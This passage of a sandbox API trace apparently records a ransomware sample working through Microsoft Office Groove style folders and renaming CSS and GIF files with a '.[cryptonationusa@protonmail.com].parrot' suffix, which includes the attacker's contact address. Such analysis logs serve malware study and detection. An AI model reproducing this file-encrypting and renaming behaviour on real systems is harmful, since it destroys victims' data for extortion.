lpNewFilePointer=0xffffffff) returned 1 [0190.602] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.604] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.604] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x373, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x373, lpOverlapped=0x0) returned 1 [0190.604] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.605] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Country.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\country.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Country.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\country.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.608] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.609] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0190.609] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.609] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0190.609] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0190.610] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0190.610] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.610] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.611] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x94, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x94, lpOverlapped=0x0) returned 1 [0190.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.612] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.618] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.619] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.619] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.620] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f0, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x1f0, lpOverlapped=0x0) returned 1 [0190.620] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.624] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.624] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.626] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.626] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x401, lpOverlapped=0x0) returned 1 [0190.626] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.630] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.631] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfda7b720, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfda7b720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.631] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfda555c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="HEADER~1.PAR")) returned 1 [0190.632] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.632] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.633] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.633] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x977, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x977, lpOverlapped=0x0) returned 1 [0190.633] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.634] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.638] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.638] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.643] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.643] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x370, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x370, lpOverlapped=0x0) returned 1 [0190.644] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\earthy.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Earthy.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\earthy.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.649] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.649] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0190.649] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.649] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0190.650] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0190.650] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0190.650] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.650] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.651] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.651] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b8, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x1b8, lpOverlapped=0x0) returned 1 [0190.651] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.657] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.658] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.658] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.659] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0190.659] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.666] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.666] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.667] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.667] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0190.667] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.672] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.672] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfdac79e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfdac79e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.672] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdaa1880, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="HEADER~1.PAR")) returned 1 [0190.672] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.672] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.705] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.705] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaf2, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xaf2, lpOverlapped=0x0) returned 1 [0190.706] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.728] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.728] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.729] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.730] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a4, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x3a4, lpOverlapped=0x0) returned 1 [0190.730] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\greentea.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GreenTea.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\greentea.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.737] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.737] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.738] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.738] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x411, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x411, lpOverlapped=0x0) returned 1 [0190.739] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.739] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\LightSpirit.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lightspirit.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.744] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.745] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0190.745] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, 